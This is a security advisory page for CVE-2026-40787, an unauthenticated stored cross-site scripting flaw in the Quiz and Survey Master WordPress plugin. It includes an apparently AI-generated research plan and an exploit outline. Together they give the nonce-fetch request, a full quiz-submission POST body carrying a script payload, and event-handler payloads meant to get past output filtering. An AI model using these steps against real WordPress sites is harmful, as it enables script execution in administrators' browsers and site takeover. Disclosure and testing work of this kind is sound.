CVE-2026-40787

Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker <= 11.0.0 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
11.1.0
Patched in
8d
Time to patch

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 11.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=11.0.0
PublishedApril 23, 2026
Last updatedApril 30, 2026
Affected pluginquiz-master-next

What Changed in the Fix

Changes introduced in v11.1.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation process for CVE-2026-40787, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress. ### 1. Vulnerability Summary The Quiz and Survey Master (QSM) plugin (up to version 11.0.0) fails to properly sani…

Show full research plan

This plan outlines the research and exploitation process for CVE-2026-40787, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress.

1. Vulnerability Summary

The Quiz and Survey Master (QSM) plugin (up to version 11.0.0) fails to properly sanitize and escape user-supplied data during quiz submission. Specifically, contact information (like Name or Email) provided by unauthenticated users during a quiz is stored in the database and subsequently rendered in the administrative "Results" dashboard without sufficient output escaping. This allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the context of an administrator viewing the quiz results.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions:
    1. qsm_create_quiz_nonce (to obtain a submission nonce)
    2. qmn_submit_quiz (to submit the payload)
  • Vulnerable Parameter: primary_contact_name (or other contact fields like name, email, v_name, depending on quiz configuration).
  • Authentication: None (Unauthenticated).
  • Preconditions: A quiz must exist and have contact fields (Name/Email) enabled.

3. Code Flow

  1. Entry Point: The unauthenticated user interacts with a quiz on the frontend.
  2. Nonce Acquisition: The frontend script js/qsm-quiz.js calls the AJAX action qsm_create_quiz_nonce to fetch a nonce and unique_key for the current quiz session.
  3. Submission: The user submits the quiz. This sends a POST request to admin-ajax.php with action=qmn_submit_quiz.
  4. Storage: The plugin processes the submission. The values in contact fields (e.g., primary_contact_name) are saved to the {$wpdb->prefix}mlw_results table.
  5. Sink: An administrator visits the "Results" page (/wp-admin/admin.php?page=mlw_quiz_results). The plugin retrieves the records from the mlw_results table and echoes the user's name/email.
  6. Lack of Escaping: If the output logic (likely in php/admin/admin-results-page.php or a similar result-rendering component) uses raw echo or insufficient wp_kses_post on the stored name, the XSS payload executes.

4. Nonce Acquisition Strategy

The plugin provides a dedicated AJAX action for unauthenticated users to generate a submission nonce.

  1. Identify Shortcode: The plugin uses [qsm quiz=ID] to render quizzes.
  2. Create Test Page: Use wp-cli to create a page with a quiz shortcode.
  3. Extract Data: Navigate to the page and identify the quiz_id.
  4. Fetch Nonce:
    • The js/qsm-quiz.js file (lines 44-53) demonstrates how to fetch the nonce:
      jQuery.ajax({
          url: qmn_ajax_object.ajaxurl,
          data: {
              action: "qsm_create_quiz_nonce",
              quiz_id: quizID,
          },
          type: 'POST',
          success: function (response) { ... }
      });
      
    • Agent Action: Use the http_request tool to call admin-ajax.php?action=qsm_create_quiz_nonce&quiz_id=[ID].
    • Response Format: The response will be JSON: {"success":true,"data":{"nonce":"[NONCE_VALUE]","unique_key":"[KEY_VALUE]"}}.

5. Exploitation Strategy

  1. Setup Quiz: Use wp-cli to create a quiz and ensure contact fields are enabled.
  2. Get Nonce: Perform the POST request to qsm_create_quiz_nonce to get a valid nonce and unique_key.
  3. Perform Injection: Submit the quiz result with the XSS payload.
    • Request: POST /wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=qmn_submit_quiz
      &quiz_id=1
      &nonce=[NONCE]
      &unique_key=[UNIQUE_KEY]
      &primary_contact_name=<script>alert(document.domain)</script>
      &primary_contact_email=attacker@example.com
      &timer=10
      &qmn_question_list=
      
    • Note: If the quiz has questions, you may need to include dummy answers (e.g., v_1=answer1) corresponding to the question IDs.
  4. Trigger Payload: Log in as an administrator and navigate to /wp-admin/admin.php?page=mlw_quiz_results.

6. Test Data Setup

  1. Create Quiz:
    wp eval "
    global \$wpdb;
    \$wpdb->insert(\"{\$wpdb->prefix}mlw_quizzes\", array(
        'quiz_name' => 'XSS Test Quiz',
        'quiz_taken' => 0,
        'deleted' => 0
    ));
    echo 'Quiz ID: ' . \$wpdb->insert_id;
    "
    
  2. Enable Contact Fields: Ensure the quiz is configured to ask for Name and Email. This is stored in quiz options.
    # Setting the options for the quiz (inferred option structure)
    wp post create --post_type=page --post_title="Quiz Page" --post_content='[qsm quiz=1]' --post_status=publish
    

7. Expected Results

  • The qmn_submit_quiz request should return a success message (often a JSON response with a redirect URL or a "Success" message).
  • The payload <script>alert(document.domain)</script> should be stored in the database in the mlw_results table.
  • When the admin views the results page, a browser alert showing the domain name should appear.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT name, email FROM wp_mlw_results ORDER BY result_id DESC LIMIT 1"
    
    Confirm that the name column contains the raw <script> tag.
  2. Admin UI Check:
    Use browser_navigate to /wp-admin/admin.php?page=mlw_quiz_results (authenticated as admin) and check for the execution of the alert.

9. Alternative Approaches

  • Question Injection: If primary_contact_name is sanitized, try injecting into the answer fields of "Open Answer" question types (Question Type ID 3).
  • Parameter variations: Try parameters like v_name or name if primary_contact_name is not accepted, as different versions of QSM use different naming conventions for contact fields.
  • Bypassing wp_kses_post: If wp_kses_post is used, try event handlers on allowed tags:
    • <img src=x onerror=alert(1)>
    • <details open ontoggle=alert(1)> (Allowed by many KSES configurations).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via quiz contact fields like 'Name' and 'Email'. This occurs because user-supplied data is saved to the database without sufficient sanitization and subsequently rendered in the administrative dashboard without proper output escaping, allowing an attacker to execute arbitrary scripts in an administrator's browser.

Vulnerable Code

// js/qsm-quiz.js:31-41

// Unauthenticated users can trigger nonce generation for quiz submission

jQuery.ajax({
    url: qmn_ajax_object.ajaxurl,
    data: {
        action: "qsm_create_quiz_nonce",
        quiz_id: quizID,
    },
    type: 'POST',
    success: function (response) {
        jQuery('.qsm-quiz-container-' + quizID + ' #qsm_unique_key_'+quizID).val(response.data.unique_key);
        jQuery('.qsm-quiz-container-' + quizID + ' #qsm_nonce_'+quizID).val(response.data.nonce);
    }
});

---

// mlw_quizmaster2.php:200-207

// The plugin's custom sanitization helper uses wp_kses_post which may be insufficient for specific contexts 

// or bypassed if not applied to all stored contact fields.

public function sanitize_html( $html = '', $kses = true ) {
    if ( empty( $html ) ) {
        return $html;
    }
    return $kses ? wp_kses_post( $html ) : sanitize_text_field( $html );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.0.0/css/qsm-admin.css /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.0/css/qsm-admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.0.0/css/qsm-admin.css	2026-03-19 17:21:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/quiz-master-next/11.1.0/css/qsm-admin.css	2026-04-06 14:03:10.000000000 +0000
@@ -1589,7 +1589,8 @@
 .qsm-switch-slider.round:before {
 	border-radius: 50%;
 }
-input#sc-shortcode-model-text, input#sc-shortcode-model-text-link {
+input#sc-shortcode-model-text, input#sc-shortcode-model-text-link,
+input#sc-embed-iframe-text{
 	theght: 30px;
 }
 div#modal-6 label {
... (truncated)

Exploit Outline

1. Identify a target WordPress site running QSM <= 11.0.0 and locate a page containing a quiz shortcode. 2. Obtain a valid submission nonce and unique session key by sending a POST request to `/wp-admin/admin-ajax.php` with the action `qsm_create_quiz_nonce` and the `quiz_id` of the target quiz. 3. Construct a malicious quiz submission payload targeting contact fields. For example, set the `primary_contact_name` parameter to an XSS payload like `<script>alert(document.domain)</script>`. 4. Submit the payload via a POST request to `/wp-admin/admin-ajax.php` using the `qmn_submit_quiz` action, including the previously acquired nonce and unique key. 5. Wait for an administrator to log in and view the quiz results at `/wp-admin/admin.php?page=mlw_quiz_results` or via the dashboard widgets, which will trigger the execution of the injected script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.